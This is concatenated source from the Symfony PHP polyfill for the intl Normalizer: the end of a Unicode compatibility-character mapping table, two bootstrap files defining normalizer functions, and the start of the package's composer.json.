'𝐖' => 'W', '𝐗' => 'X', '𝐘' => 'Y', '𝐙' => 'Z', '𝐚' => 'a', '𝐛' => 'b', '𝐜' => 'c', '𝐝' => 'd', '𝐞' => 'e', '𝐟' => 'f', '𝐠' => 'g', '𝐡' => 'h', '𝐢' => 'i', '𝐣' => 'j', '𝐤' => 'k', '𝐥' => 'l', '𝐦' => 'm', '𝐧' => 'n', '𝐨' => 'o', '𝐩' => 'p', '𝐪' => 'q', '𝐫' => 'r', '𝐬' => 's', '𝐭' => 't', '𝐮' => 'u', '𝐯' => 'v', '𝐰' => 'w', '𝐱' => 'x', '𝐲' => 'y', '𝐳' => 'z', '𝐴' => 'A', '𝐵' => 'B', '𝐶' => 'C', '𝐷' => 'D', '𝐸' => 'E', '𝐹' => 'F', '𝐺' => 'G', '𝐻' => 'H', '𝐼' => 'I', '𝐽' => 'J', '𝐾' => 'K', '𝐿' => 'L', '𝑀' => 'M', '𝑁' => 'N', '𝑂' => 'O', '𝑃' => 'P', '𝑄' => 'Q', '𝑅' => 'R', '𝑆' => 'S', '𝑇' => 'T', '𝑈' => 'U', '𝑉' => 'V', '𝑊' => 'W', '𝑋' => 'X', '𝑌' => 'Y', '𝑍' => 'Z', '𝑎' => 'a', '𝑏' => 'b', '𝑐' => 'c', '𝑑' => 'd', '𝑒' => 'e', '𝑓' => 'f', '𝑔' => 'g', '𝑖' => 'i', '𝑗' => 'j', '𝑘' => 'k', '𝑙' => 'l', '𝑚' => 'm', '𝑛' => 'n', '𝑜' => 'o', '𝑝' => 'p', '𝑞' => 'q', '𝑟' => 'r', '𝑠' => 's', '𝑡' => 't', '𝑢' => 'u', '𝑣' => 'v', '𝑤' => 'w', '𝑥' => 'x', '𝑦' => 'y', '𝑧' => 'z', '𝑨' => 'A', '𝑩' => 'B', '𝑪' => 'C', '𝑫' => 'D', '𝑬' => 'E', '𝑭' => 'F', '𝑮' => 'G', '𝑯' => 'H', '𝑰' => 'I', '𝑱' => 'J', '𝑲' => 'K', '𝑳' => 'L', '𝑴' => 'M', '𝑵' => 'N', '𝑶' => 'O', '𝑷' => 'P', '𝑸' => 'Q', '𝑹' => 'R', '𝑺' => 'S', '𝑻' => 'T', '𝑼' => 'U', '𝑽' => 'V', '𝑾' => 'W', '𝑿' => 'X', '𝒀' => 'Y', '𝒁' => 'Z', '𝒂' => 'a', '𝒃' => 'b', '𝒄' => 'c', '𝒅' => 'd', '𝒆' => 'e', '𝒇' => 'f', '𝒈' => 'g', '𝒉' => 'h', '𝒊' => 'i', '𝒋' => 'j', '𝒌' => 'k', '𝒍' => 'l', '𝒎' => 'm', '𝒏' => 'n', '𝒐' => 'o', '𝒑' => 'p', '𝒒' => 'q', '𝒓' => 'r', '𝒔' => 's', '𝒕' => 't', '𝒖' => 'u', '𝒗' => 'v', '𝒘' => 'w', '𝒙' => 'x', '𝒚' => 'y', '𝒛' => 'z', '𝒜' => 'A', '𝒞' => 'C', '𝒟' => 'D', '𝒢' => 'G', '𝒥' => 'J', '𝒦' => 'K', '𝒩' => 'N', '𝒪' => 'O', '𝒫' => 'P', '𝒬' => 'Q', '𝒮' => 'S', '𝒯' => 'T', '𝒰' => 'U', '𝒱' => 'V', '𝒲' => 'W', '𝒳' => 'X', '𝒴' => 'Y', '𝒵' => 'Z', '𝒶' => 'a', '𝒷' => 'b', '𝒸' => 'c', '𝒹' => 'd', '𝒻' => 'f', '𝒽' => 'h', '𝒾' => 'i', '𝒿' => 'j', '𝓀' => 'k', '𝓁' => 'l', '𝓂' => 'm', '𝓃' => 'n', '𝓅' => 'p', '𝓆' => 'q', '𝓇' => 'r', '𝓈' => 's', '𝓉' => 't', '𝓊' => 'u', '𝓋' => 'v', '𝓌' => 'w', '𝓍' => 'x', '𝓎' => 'y', '𝓏' => 'z', '𝓐' => 'A', '𝓑' => 'B', '𝓒' => 'C', '𝓓' => 'D', '𝓔' => 'E', '𝓕' => 'F', '𝓖' => 'G', '𝓗' => 'H', '𝓘' => 'I', '𝓙' => 'J', '𝓚' => 'K', '𝓛' => 'L', '𝓜' => 'M', '𝓝' => 'N', '𝓞' => 'O', '𝓟' => 'P', '𝓠' => 'Q', '𝓡' => 'R', '𝓢' => 'S', '𝓣' => 'T', '𝓤' => 'U', '𝓥' => 'V', '𝓦' => 'W', '𝓧' => 'X', '𝓨' => 'Y', '𝓩' => 'Z', '𝓪' => 'a', '𝓫' => 'b', '𝓬' => 'c', '𝓭' => 'd', '𝓮' => 'e', '𝓯' => 'f', '𝓰' => 'g', '𝓱' => 'h', '𝓲' => 'i', '𝓳' => 'j', '𝓴' => 'k', '𝓵' => 'l', '𝓶' => 'm', '𝓷' => 'n', '𝓸' => 'o', '𝓹' => 'p', '𝓺' => 'q', '𝓻' => 'r', '𝓼' => 's', '𝓽' => 't', '𝓾' => 'u', '𝓿' => 'v', '𝔀' => 'w', '𝔁' => 'x', '𝔂' => 'y', '𝔃' => 'z', '𝔄' => 'A', '𝔅' => 'B', '𝔇' => 'D', '𝔈' => 'E', '𝔉' => 'F', '𝔊' => 'G', '𝔍' => 'J', '𝔎' => 'K', '𝔏' => 'L', '𝔐' => 'M', '𝔑' => 'N', '𝔒' => 'O', '𝔓' => 'P', '𝔔' => 'Q', '𝔖' => 'S', '𝔗' => 'T', '𝔘' => 'U', '𝔙' => 'V', '𝔚' => 'W', '𝔛' => 'X', '𝔜' => 'Y', '𝔞' => 'a', '𝔟' => 'b', '𝔠' => 'c', '𝔡' => 'd', '𝔢' => 'e', '𝔣' => 'f', '𝔤' => 'g', '𝔥' => 'h', '𝔦' => 'i', '𝔧' => 'j', '𝔨' => 'k', '𝔩' => 'l', '𝔪' => 'm', '𝔫' => 'n', '𝔬' => 'o', '𝔭' => 'p', '𝔮' => 'q', '𝔯' => 'r', '𝔰' => 's', '𝔱' => 't', '𝔲' => 'u', '𝔳' => 'v', '𝔴' => 'w', '𝔵' => 'x', '𝔶' => 'y', '𝔷' => 'z', '𝔸' => 'A', '𝔹' => 'B', '𝔻' => 'D', '𝔼' => 'E', '𝔽' => 'F', '𝔾' => 'G', '𝕀' => 'I', '𝕁' => 'J', '𝕂' => 'K', '𝕃' => 'L', '𝕄' => 'M', '𝕆' => 'O', '𝕊' => 'S', '𝕋' => 'T', '𝕌' => 'U', '𝕍' => 'V', '𝕎' => 'W', '𝕏' => 'X', '𝕐' => 'Y', '𝕒' => 'a', '𝕓' => 'b', '𝕔' => 'c', '𝕕' => 'd', '𝕖' => 'e', '𝕗' => 'f', '𝕘' => 'g', '𝕙' => 'h', '𝕚' => 'i', '𝕛' => 'j', '𝕜' => 'k', '𝕝' => 'l', '𝕞' => 'm', '𝕟' => 'n', '𝕠' => 'o', '𝕡' => 'p', '𝕢' => 'q', '𝕣' => 'r', '𝕤' => 's', '𝕥' => 't', '𝕦' => 'u', '𝕧' => 'v', '𝕨' => 'w', '𝕩' => 'x', '𝕪' => 'y', '𝕫' => 'z', '𝕬' => 'A', '𝕭' => 'B', '𝕮' => 'C', '𝕯' => 'D', '𝕰' => 'E', '𝕱' => 'F', '𝕲' => 'G', '𝕳' => 'H', '𝕴' => 'I', '𝕵' => 'J', '𝕶' => 'K', '𝕷' => 'L', '𝕸' => 'M', '𝕹' => 'N', '𝕺' => 'O', '𝕻' => 'P', '𝕼' => 'Q', '𝕽' => 'R', '𝕾' => 'S', '𝕿' => 'T', '𝖀' => 'U', '𝖁' => 'V', '𝖂' => 'W', '𝖃' => 'X', '𝖄' => 'Y', '𝖅' => 'Z', '𝖆' => 'a', '𝖇' => 'b', '𝖈' => 'c', '𝖉' => 'd', '𝖊' => 'e', '𝖋' => 'f', '𝖌' => 'g', '𝖍' => 'h', '𝖎' => 'i', '𝖏' => 'j', '𝖐' => 'k', '𝖑' => 'l', '𝖒' => 'm', '𝖓' => 'n', '𝖔' => 'o', '𝖕' => 'p', '𝖖' => 'q', '𝖗' => 'r', '𝖘' => 's', '𝖙' => 't', '𝖚' => 'u', '𝖛' => 'v', '𝖜' => 'w', '𝖝' => 'x', '𝖞' => 'y', '𝖟' => 'z', '𝖠' => 'A', '𝖡' => 'B', '𝖢' => 'C', '𝖣' => 'D', '𝖤' => 'E', '𝖥' => 'F', '𝖦' => 'G', '𝖧' => 'H', '𝖨' => 'I', '𝖩' => 'J', '𝖪' => 'K', '𝖫' => 'L', '𝖬' => 'M', '𝖭' => 'N', '𝖮' => 'O', '𝖯' => 'P', '𝖰' => 'Q', '𝖱' => 'R', '𝖲' => 'S', '𝖳' => 'T', '𝖴' => 'U', '𝖵' => 'V', '𝖶' => 'W', '𝖷' => 'X', '𝖸' => 'Y', '𝖹' => 'Z', '𝖺' => 'a', '𝖻' => 'b', '𝖼' => 'c', '𝖽' => 'd', '𝖾' => 'e', '𝖿' => 'f', '𝗀' => 'g', '𝗁' => 'h', '𝗂' => 'i', '𝗃' => 'j', '𝗄' => 'k', '𝗅' => 'l', '𝗆' => 'm', '𝗇' => 'n', '𝗈' => 'o', '𝗉' => 'p', '𝗊' => 'q', '𝗋' => 'r', '𝗌' => 's', '𝗍' => 't', '𝗎' => 'u', '𝗏' => 'v', '𝗐' => 'w', '𝗑' => 'x', '𝗒' => 'y', '𝗓' => 'z', '𝗔' => 'A', '𝗕' => 'B', '𝗖' => 'C', '𝗗' => 'D', '𝗘' => 'E', '𝗙' => 'F', '𝗚' => 'G', '𝗛' => 'H', '𝗜' => 'I', '𝗝' => 'J', '𝗞' => 'K', '𝗟' => 'L', '𝗠' => 'M', '𝗡' => 'N', '𝗢' => 'O', '𝗣' => 'P', '𝗤' => 'Q', '𝗥' => 'R', '𝗦' => 'S', '𝗧' => 'T', '𝗨' => 'U', '𝗩' => 'V', '𝗪' => 'W', '𝗫' => 'X', '𝗬' => 'Y', '𝗭' => 'Z', '𝗮' => 'a', '𝗯' => 'b', '𝗰' => 'c', '𝗱' => 'd', '𝗲' => 'e', '𝗳' => 'f', '𝗴' => 'g', '𝗵' => 'h', '𝗶' => 'i', '𝗷' => 'j', '𝗸' => 'k', '𝗹' => 'l', '𝗺' => 'm', '𝗻' => 'n', '𝗼' => 'o', '𝗽' => 'p', '𝗾' => 'q', '𝗿' => 'r', '𝘀' => 's', '𝘁' => 't', '𝘂' => 'u', '𝘃' => 'v', '𝘄' => 'w', '𝘅' => 'x', '𝘆' => 'y', '𝘇' => 'z', '𝘈' => 'A', '𝘉' => 'B', '𝘊' => 'C', '𝘋' => 'D', '𝘌' => 'E', '𝘍' => 'F', '𝘎' => 'G', '𝘏' => 'H', '𝘐' => 'I', '𝘑' => 'J', '𝘒' => 'K', '𝘓' => 'L', '𝘔' => 'M', '𝘕' => 'N', '𝘖' => 'O', '𝘗' => 'P', '𝘘' => 'Q', '𝘙' => 'R', '𝘚' => 'S', '𝘛' => 'T', '𝘜' => 'U', '𝘝' => 'V', '𝘞' => 'W', '𝘟' => 'X', '𝘠' => 'Y', '𝘡' => 'Z', '𝘢' => 'a', '𝘣' => 'b', '𝘤' => 'c', '𝘥' => 'd', '𝘦' => 'e', '𝘧' => 'f', '𝘨' => 'g', '𝘩' => 'h', '𝘪' => 'i', '𝘫' => 'j', '𝘬' => 'k', '𝘭' => 'l', '𝘮' => 'm', '𝘯' => 'n', '𝘰' => 'o', '𝘱' => 'p', '𝘲' => 'q', '𝘳' => 'r', '𝘴' => 's', '𝘵' => 't', '𝘶' => 'u', '𝘷' => 'v', '𝘸' => 'w', '𝘹' => 'x', '𝘺' => 'y', '𝘻' => 'z', '𝘼' => 'A', '𝘽' => 'B', '𝘾' => 'C', '𝘿' => 'D', '𝙀' => 'E', '𝙁' => 'F', '𝙂' => 'G', '𝙃' => 'H', '𝙄' => 'I', '𝙅' => 'J', '𝙆' => 'K', '𝙇' => 'L', '𝙈' => 'M', '𝙉' => 'N', '𝙊' => 'O', '𝙋' => 'P', '𝙌' => 'Q', '𝙍' => 'R', '𝙎' => 'S', '𝙏' => 'T', '𝙐' => 'U', '𝙑' => 'V', '𝙒' => 'W', '𝙓' => 'X', '𝙔' => 'Y', '𝙕' => 'Z', '𝙖' => 'a', '𝙗' => 'b', '𝙘' => 'c', '𝙙' => 'd', '𝙚' => 'e', '𝙛' => 'f', '𝙜' => 'g', '𝙝' => 'h', '𝙞' => 'i', '𝙟' => 'j', '𝙠' => 'k', '𝙡' => 'l', '𝙢' => 'm', '𝙣' => 'n', '𝙤' => 'o', '𝙥' => 'p', '𝙦' => 'q', '𝙧' => 'r', '𝙨' => 's', '𝙩' => 't', '𝙪' => 'u', '𝙫' => 'v', '𝙬' => 'w', '𝙭' => 'x', '𝙮' => 'y', '𝙯' => 'z', '𝙰' => 'A', '𝙱' => 'B', '𝙲' => 'C', '𝙳' => 'D', '𝙴' => 'E', '𝙵' => 'F', '𝙶' => 'G', '𝙷' => 'H', '𝙸' => 'I', '𝙹' => 'J', '𝙺' => 'K', '𝙻' => 'L', '𝙼' => 'M', '𝙽' => 'N', '𝙾' => 'O', '𝙿' => 'P', '𝚀' => 'Q', '𝚁' => 'R', '𝚂' => 'S', '𝚃' => 'T', '𝚄' => 'U', '𝚅' => 'V', '𝚆' => 'W', '𝚇' => 'X', '𝚈' => 'Y', '𝚉' => 'Z', '𝚊' => 'a', '𝚋' => 'b', '𝚌' => 'c', '𝚍' => 'd', '𝚎' => 'e', '𝚏' => 'f', '𝚐' => 'g', '𝚑' => 'h', '𝚒' => 'i', '𝚓' => 'j', '𝚔' => 'k', '𝚕' => 'l', '𝚖' => 'm', '𝚗' => 'n', '𝚘' => 'o', '𝚙' => 'p', '𝚚' => 'q', '𝚛' => 'r', '𝚜' => 's', '𝚝' => 't', '𝚞' => 'u', '𝚟' => 'v', '𝚠' => 'w', '𝚡' => 'x', '𝚢' => 'y', '𝚣' => 'z', '𝚤' => 'ı', '𝚥' => 'ȷ', '𝚨' => 'Α', '𝚩' => 'Β', '𝚪' => 'Γ', '𝚫' => 'Δ', '𝚬' => 'Ε', '𝚭' => 'Ζ', '𝚮' => 'Η', '𝚯' => 'Θ', '𝚰' => 'Ι', '𝚱' => 'Κ', '𝚲' => 'Λ', '𝚳' => 'Μ', '𝚴' => 'Ν', '𝚵' => 'Ξ', '𝚶' => 'Ο', '𝚷' => 'Π', '𝚸' => 'Ρ', '𝚹' => 'Θ', '𝚺' => 'Σ', '𝚻' => 'Τ', '𝚼' => 'Υ', '𝚽' => 'Φ', '𝚾' => 'Χ', '𝚿' => 'Ψ', '𝛀' => 'Ω', '𝛁' => '∇', '𝛂' => 'α', '𝛃' => 'β', '𝛄' => 'γ', '𝛅' => 'δ', '𝛆' => 'ε', '𝛇' => 'ζ', '𝛈' => 'η', '𝛉' => 'θ', '𝛊' => 'ι', '𝛋' => 'κ', '𝛌' => 'λ', '𝛍' => 'μ', '𝛎' => 'ν', '𝛏' => 'ξ', '𝛐' => 'ο', '𝛑' => 'π', '𝛒' => 'ρ', '𝛓' => 'ς', '𝛔' => 'σ', '𝛕' => 'τ', '𝛖' => 'υ', '𝛗' => 'φ', '𝛘' => 'χ', '𝛙' => 'ψ', '𝛚' => 'ω', '𝛛' => '∂', '𝛜' => 'ε', '𝛝' => 'θ', '𝛞' => 'κ', '𝛟' => 'φ', '𝛠' => 'ρ', '𝛡' => 'π', '𝛢' => 'Α', '𝛣' => 'Β', '𝛤' => 'Γ', '𝛥' => 'Δ', '𝛦' => 'Ε', '𝛧' => 'Ζ', '𝛨' => 'Η', '𝛩' => 'Θ', '𝛪' => 'Ι', '𝛫' => 'Κ', '𝛬' => 'Λ', '𝛭' => 'Μ', '𝛮' => 'Ν', '𝛯' => 'Ξ', '𝛰' => 'Ο', '𝛱' => 'Π', '𝛲' => 'Ρ', '𝛳' => 'Θ', '𝛴' => 'Σ', '𝛵' => 'Τ', '𝛶' => 'Υ', '𝛷' => 'Φ', '𝛸' => 'Χ', '𝛹' => 'Ψ', '𝛺' => 'Ω', '𝛻' => '∇', '𝛼' => 'α', '𝛽' => 'β', '𝛾' => 'γ', '𝛿' => 'δ', '𝜀' => 'ε', '𝜁' => 'ζ', '𝜂' => 'η', '𝜃' => 'θ', '𝜄' => 'ι', '𝜅' => 'κ', '𝜆' => 'λ', '𝜇' => 'μ', '𝜈' => 'ν', '𝜉' => 'ξ', '𝜊' => 'ο', '𝜋' => 'π', '𝜌' => 'ρ', '𝜍' => 'ς', '𝜎' => 'σ', '𝜏' => 'τ', '𝜐' => 'υ', '𝜑' => 'φ', '𝜒' => 'χ', '𝜓' => 'ψ', '𝜔' => 'ω', '𝜕' => '∂', '𝜖' => 'ε', '𝜗' => 'θ', '𝜘' => 'κ', '𝜙' => 'φ', '𝜚' => 'ρ', '𝜛' => 'π', '𝜜' => 'Α', '𝜝' => 'Β', '𝜞' => 'Γ', '𝜟' => 'Δ', '𝜠' => 'Ε', '𝜡' => 'Ζ', '𝜢' => 'Η', '𝜣' => 'Θ', '𝜤' => 'Ι', '𝜥' => 'Κ', '𝜦' => 'Λ', '𝜧' => 'Μ', '𝜨' => 'Ν', '𝜩' => 'Ξ', '𝜪' => 'Ο', '𝜫' => 'Π', '𝜬' => 'Ρ', '𝜭' => 'Θ', '𝜮' => 'Σ', '𝜯' => 'Τ', '𝜰' => 'Υ', '𝜱' => 'Φ', '𝜲' => 'Χ', '𝜳' => 'Ψ', '𝜴' => 'Ω', '𝜵' => '∇', '𝜶' => 'α', '𝜷' => 'β', '𝜸' => 'γ', '𝜹' => 'δ', '𝜺' => 'ε', '𝜻' => 'ζ', '𝜼' => 'η', '𝜽' => 'θ', '𝜾' => 'ι', '𝜿' => 'κ', '𝝀' => 'λ', '𝝁' => 'μ', '𝝂' => 'ν', '𝝃' => 'ξ', '𝝄' => 'ο', '𝝅' => 'π', '𝝆' => 'ρ', '𝝇' => 'ς', '𝝈' => 'σ', '𝝉' => 'τ', '𝝊' => 'υ', '𝝋' => 'φ', '𝝌' => 'χ', '𝝍' => 'ψ', '𝝎' => 'ω', '𝝏' => '∂', '𝝐' => 'ε', '𝝑' => 'θ', '𝝒' => 'κ', '𝝓' => 'φ', '𝝔' => 'ρ', '𝝕' => 'π', '𝝖' => 'Α', '𝝗' => 'Β', '𝝘' => 'Γ', '𝝙' => 'Δ', '𝝚' => 'Ε', '𝝛' => 'Ζ', '𝝜' => 'Η', '𝝝' => 'Θ', '𝝞' => 'Ι', '𝝟' => 'Κ', '𝝠' => 'Λ', '𝝡' => 'Μ', '𝝢' => 'Ν', '𝝣' => 'Ξ', '𝝤' => 'Ο', '𝝥' => 'Π', '𝝦' => 'Ρ', '𝝧' => 'Θ', '𝝨' => 'Σ', '𝝩' => 'Τ', '𝝪' => 'Υ', '𝝫' => 'Φ', '𝝬' => 'Χ', '𝝭' => 'Ψ', '𝝮' => 'Ω', '𝝯' => '∇', '𝝰' => 'α', '𝝱' => 'β', '𝝲' => 'γ', '𝝳' => 'δ', '𝝴' => 'ε', '𝝵' => 'ζ', '𝝶' => 'η', '𝝷' => 'θ', '𝝸' => 'ι', '𝝹' => 'κ', '𝝺' => 'λ', '𝝻' => 'μ', '𝝼' => 'ν', '𝝽' => 'ξ', '𝝾' => 'ο', '𝝿' => 'π', '𝞀' => 'ρ', '𝞁' => 'ς', '𝞂' => 'σ', '𝞃' => 'τ', '𝞄' => 'υ', '𝞅' => 'φ', '𝞆' => 'χ', '𝞇' => 'ψ', '𝞈' => 'ω', '𝞉' => '∂', '𝞊' => 'ε', '𝞋' => 'θ', '𝞌' => 'κ', '𝞍' => 'φ', '𝞎' => 'ρ', '𝞏' => 'π', '𝞐' => 'Α', '𝞑' => 'Β', '𝞒' => 'Γ', '𝞓' => 'Δ', '𝞔' => 'Ε', '𝞕' => 'Ζ', '𝞖' => 'Η', '𝞗' => 'Θ', '𝞘' => 'Ι', '𝞙' => 'Κ', '𝞚' => 'Λ', '𝞛' => 'Μ', '𝞜' => 'Ν', '𝞝' => 'Ξ', '𝞞' => 'Ο', '𝞟' => 'Π', '𝞠' => 'Ρ', '𝞡' => 'Θ', '𝞢' => 'Σ', '𝞣' => 'Τ', '𝞤' => 'Υ', '𝞥' => 'Φ', '𝞦' => 'Χ', '𝞧' => 'Ψ', '𝞨' => 'Ω', '𝞩' => '∇', '𝞪' => 'α', '𝞫' => 'β', '𝞬' => 'γ', '𝞭' => 'δ', '𝞮' => 'ε', '𝞯' => 'ζ', '𝞰' => 'η', '𝞱' => 'θ', '𝞲' => 'ι', '𝞳' => 'κ', '𝞴' => 'λ', '𝞵' => 'μ', '𝞶' => 'ν', '𝞷' => 'ξ', '𝞸' => 'ο', '𝞹' => 'π', '𝞺' => 'ρ', '𝞻' => 'ς', '𝞼' => 'σ', '𝞽' => 'τ', '𝞾' => 'υ', '𝞿' => 'φ', '𝟀' => 'χ', '𝟁' => 'ψ', '𝟂' => 'ω', '𝟃' => '∂', '𝟄' => 'ε', '𝟅' => 'θ', '𝟆' => 'κ', '𝟇' => 'φ', '𝟈' => 'ρ', '𝟉' => 'π', '𝟊' => 'Ϝ', '𝟋' => 'ϝ', '𝟎' => '0', '𝟏' => '1', '𝟐' => '2', '𝟑' => '3', '𝟒' => '4', '𝟓' => '5', '𝟔' => '6', '𝟕' => '7', '𝟖' => '8', '𝟗' => '9', '𝟘' => '0', '𝟙' => '1', '𝟚' => '2', '𝟛' => '3', '𝟜' => '4', '𝟝' => '5', '𝟞' => '6', '𝟟' => '7', '𝟠' => '8', '𝟡' => '9', '𝟢' => '0', '𝟣' => '1', '𝟤' => '2', '𝟥' => '3', '𝟦' => '4', '𝟧' => '5', '𝟨' => '6', '𝟩' => '7', '𝟪' => '8', '𝟫' => '9', '𝟬' => '0', '𝟭' => '1', '𝟮' => '2', '𝟯' => '3', '𝟰' => '4', '𝟱' => '5', '𝟲' => '6', '𝟳' => '7', '𝟴' => '8', '𝟵' => '9', '𝟶' => '0', '𝟷' => '1', '𝟸' => '2', '𝟹' => '3', '𝟺' => '4', '𝟻' => '5', '𝟼' => '6', '𝟽' => '7', '𝟾' => '8', '𝟿' => '9', '𞸀' => 'ا', '𞸁' => 'ب', '𞸂' => 'ج', '𞸃' => 'د', '𞸅' => 'و', '𞸆' => 'ز', '𞸇' => 'ح', '𞸈' => 'ط', '𞸉' => 'ي', '𞸊' => 'ك', '𞸋' => 'ل', '𞸌' => 'م', '𞸍' => 'ن', '𞸎' => 'س', '𞸏' => 'ع', '𞸐' => 'ف', '𞸑' => 'ص', '𞸒' => 'ق', '𞸓' => 'ر', '𞸔' => 'ش', '𞸕' => 'ت', '𞸖' => 'ث', '𞸗' => 'خ', '𞸘' => 'ذ', '𞸙' => 'ض', '𞸚' => 'ظ', '𞸛' => 'غ', '𞸜' => 'ٮ', '𞸝' => 'ں', '𞸞' => 'ڡ', '𞸟' => 'ٯ', '𞸡' => 'ب', '𞸢' => 'ج', '𞸤' => 'ه', '𞸧' => 'ح', '𞸩' => 'ي', '𞸪' => 'ك', '𞸫' => 'ل', '𞸬' => 'م', '𞸭' => 'ن', '𞸮' => 'س', '𞸯' => 'ع', '𞸰' => 'ف', '𞸱' => 'ص', '𞸲' => 'ق', '𞸴' => 'ش', '𞸵' => 'ت', '𞸶' => 'ث', '𞸷' => 'خ', '𞸹' => 'ض', '𞸻' => 'غ', '𞹂' => 'ج', '𞹇' => 'ح', '𞹉' => 'ي', '𞹋' => 'ل', '𞹍' => 'ن', '𞹎' => 'س', '𞹏' => 'ع', '𞹑' => 'ص', '𞹒' => 'ق', '𞹔' => 'ش', '𞹗' => 'خ', '𞹙' => 'ض', '𞹛' => 'غ', '𞹝' => 'ں', '𞹟' => 'ٯ', '𞹡' => 'ب', '𞹢' => 'ج', '𞹤' => 'ه', '𞹧' => 'ح', '𞹨' => 'ط', '𞹩' => 'ي', '𞹪' => 'ك', '𞹬' => 'م', '𞹭' => 'ن', '𞹮' => 'س', '𞹯' => 'ع', '𞹰' => 'ف', '𞹱' => 'ص', '𞹲' => 'ق', '𞹴' => 'ش', '𞹵' => 'ت', '𞹶' => 'ث', '𞹷' => 'خ', '𞹹' => 'ض', '𞹺' => 'ظ', '𞹻' => 'غ', '𞹼' => 'ٮ', '𞹾' => 'ڡ', '𞺀' => 'ا', '𞺁' => 'ب', '𞺂' => 'ج', '𞺃' => 'د', '𞺄' => 'ه', '𞺅' => 'و', '𞺆' => 'ز', '𞺇' => 'ح', '𞺈' => 'ط', '𞺉' => 'ي', '𞺋' => 'ل', '𞺌' => 'م', '𞺍' => 'ن', '𞺎' => 'س', '𞺏' => 'ع', '𞺐' => 'ف', '𞺑' => 'ص', '𞺒' => 'ق', '𞺓' => 'ر', '𞺔' => 'ش', '𞺕' => 'ت', '𞺖' => 'ث', '𞺗' => 'خ', '𞺘' => 'ذ', '𞺙' => 'ض', '𞺚' => 'ظ', '𞺛' => 'غ', '𞺡' => 'ب', '𞺢' => 'ج', '𞺣' => 'د', '𞺥' => 'و', '𞺦' => 'ز', '𞺧' => 'ح', '𞺨' => 'ط', '𞺩' => 'ي', '𞺫' => 'ل', '𞺬' => 'م', '𞺭' => 'ن', '𞺮' => 'س', '𞺯' => 'ع', '𞺰' => 'ف', '𞺱' => 'ص', '𞺲' => 'ق', '𞺳' => 'ر', '𞺴' => 'ش', '𞺵' => 'ت', '𞺶' => 'ث', '𞺷' => 'خ', '𞺸' => 'ذ', '𞺹' => 'ض', '𞺺' => 'ظ', '𞺻' => 'غ', '🄀' => '0.', '🄁' => '0,', '🄂' => '1,', '🄃' => '2,', '🄄' => '3,', '🄅' => '4,', '🄆' => '5,', '🄇' => '6,', '🄈' => '7,', '🄉' => '8,', '🄊' => '9,', '🄐' => '(A)', '🄑' => '(B)', '🄒' => '(C)', '🄓' => '(D)', '🄔' => '(E)', '🄕' => '(F)', '🄖' => '(G)', '🄗' => '(H)', '🄘' => '(I)', '🄙' => '(J)', '🄚' => '(K)', '🄛' => '(L)', '🄜' => '(M)', '🄝' => '(N)', '🄞' => '(O)', '🄟' => '(P)', '🄠' => '(Q)', '🄡' => '(R)', '🄢' => '(S)', '🄣' => '(T)', '🄤' => '(U)', '🄥' => '(V)', '🄦' => '(W)', '🄧' => '(X)', '🄨' => '(Y)', '🄩' => '(Z)', '🄪' => '〔S〕', '🄫' => 'C', '🄬' => 'R', '🄭' => 'CD', '🄮' => 'WZ', '🄰' => 'A', '🄱' => 'B', '🄲' => 'C', '🄳' => 'D', '🄴' => 'E', '🄵' => 'F', '🄶' => 'G', '🄷' => 'H', '🄸' => 'I', '🄹' => 'J', '🄺' => 'K', '🄻' => 'L', '🄼' => 'M', '🄽' => 'N', '🄾' => 'O', '🄿' => 'P', '🅀' => 'Q', '🅁' => 'R', '🅂' => 'S', '🅃' => 'T', '🅄' => 'U', '🅅' => 'V', '🅆' => 'W', '🅇' => 'X', '🅈' => 'Y', '🅉' => 'Z', '🅊' => 'HV', '🅋' => 'MV', '🅌' => 'SD', '🅍' => 'SS', '🅎' => 'PPV', '🅏' => 'WC', '🅪' => 'MC', '🅫' => 'MD', '🅬' => 'MR', '🆐' => 'DJ', '🈀' => 'ほか', '🈁' => 'ココ', '🈂' => 'サ', '🈐' => '手', '🈑' => '字', '🈒' => '双', '🈓' => 'デ', '🈔' => '二', '🈕' => '多', '🈖' => '解', '🈗' => '天', '🈘' => '交', '🈙' => '映', '🈚' => '無', '🈛' => '料', '🈜' => '前', '🈝' => '後', '🈞' => '再', '🈟' => '新', '🈠' => '初', '🈡' => '終', '🈢' => '生', '🈣' => '販', '🈤' => '声', '🈥' => '吹', '🈦' => '演', '🈧' => '投', '🈨' => '捕', '🈩' => '一', '🈪' => '三', '🈫' => '遊', '🈬' => '左', '🈭' => '中', '🈮' => '右', '🈯' => '指', '🈰' => '走', '🈱' => '打', '🈲' => '禁', '🈳' => '空', '🈴' => '合', '🈵' => '満', '🈶' => '有', '🈷' => '月', '🈸' => '申', '🈹' => '割', '🈺' => '営', '🈻' => '配', '🉀' => '〔本〕', '🉁' => '〔三〕', '🉂' => '〔二〕', '🉃' => '〔安〕', '🉄' => '〔点〕', '🉅' => '〔打〕', '🉆' => '〔盗〕', '🉇' => '〔勝〕', '🉈' => '〔敗〕', '🉐' => '得', '🉑' => '可', '🯰' => '0', '🯱' => '1', '🯲' => '2', '🯳' => '3', '🯴' => '4', '🯵' => '5', '🯶' => '6', '🯷' => '7', '🯸' => '8', '🯹' => '9', ); * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Intl\Normalizer as p; if (\PHP_VERSION_ID >= 80000) { return require __DIR__.'/bootstrap80.php'; } if (!function_exists('normalizer_is_normalized')) { function normalizer_is_normalized($string, $form = p\Normalizer::FORM_C) { return p\Normalizer::isNormalized($string, $form); } } if (!function_exists('normalizer_normalize')) { function normalizer_normalize($string, $form = p\Normalizer::FORM_C) { return p\Normalizer::normalize($string, $form); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Intl\Normalizer as p; if (!function_exists('normalizer_is_normalized')) { function normalizer_is_normalized(?string $string, ?int $form = p\Normalizer::FORM_C): bool { return p\Normalizer::isNormalized((string) $string, (int) $form); } } if (!function_exists('normalizer_normalize')) { function normalizer_normalize(?string $string, ?int $form = p\Normalizer::FORM_C): string|false { return p\Normalizer::normalize((string) $string, (int) $form); } } { "name": "symfony/polyfill-intl-normalizer", "type": "library", "description": "Symfony polyfill for intl's Normalizer class and related functions", "keywords": ["polyfill", "shim", "compatibility", "portable", "intl", "normalizer"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.2" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Intl\\Normalizer\\": "" }, 